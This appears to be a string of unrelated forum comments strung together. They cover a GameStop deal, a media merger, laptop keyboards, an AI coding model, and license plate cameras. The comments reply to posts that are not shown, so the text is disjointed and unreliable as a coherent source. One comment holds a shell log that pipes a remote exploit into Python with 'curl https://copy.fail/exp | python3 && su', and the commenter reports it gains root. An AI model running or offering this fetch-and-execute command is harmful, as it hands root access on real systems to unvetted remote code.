Heck, our current president is a fine example of this behavior, according to numerous accounts.

The only guess I have, other than him being drunk, hungover, or high, is that he didn't want to admit or talk about GME dilution to fund the deal.

And much more recently: Paramount Skydance / Warner Brothers.

Here's the GME CEO attempting to explain the deal https://x.com/i/status/2051303211668021478.

And "Attempting" is doing the heavy lifting here.

>assuming the CEO of GameStop doesn't mess it up completely.

This guy? https://x.com/i/status/2051303211668021478

Surely, he's a safe bet, no chance he will mess up this deal!

And I don't understand why they can't just mold all the colors in parallel. If brown is in production, why can't they experiment with black at the same time?

It's refreshing to see something without any AI slop for once. The fact that this aspect is so exciting is so sad.

    modprobe algif_aead
    modprobe: FATAL: Module algif_aead not found in directory /lib/modules/6.14.3-x86_64-linode168

Yet this kernel is vulnerable.

    curl https://copy.fail/exp | python3 && su
    Traceback (most recent call last):
      File "", line 9, in 
      File "", line 5, in c
    AttributeError: module 'os' has no attribute 'splice'

Does this mean I'm not affected or it's a buggy script?

Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!

Is this really true, I presume on iPhones? As an Android user, this sounds insane to me.

Is there an option for a keyboard with dedicated PgUp/PgDn/Home/End/Insert/Delete keys? I looked at a bunch of designs and didn't find any. If this is a developer-focused laptop, how can the keyboard be so developer-unfriendly? This is why I keep getting Lenovo laptops, they don't compromise on these keys.

Why wouldn't they? If they can tout improvements over Composer 2, it'll be worth the training cost.

I wonder if this means a better Cursor Composer model update is coming, since it builds on top of Kimi K2.

We're talking about license plate recognition cameras, not cameras that show a blurry picture of a criminal committing a crime. These LPR cameras absolutely do result in meaningful law enforcement action and help catch criminals.

See San Francisco and their use of LPR cameras like Flock combined with drone surveillance.
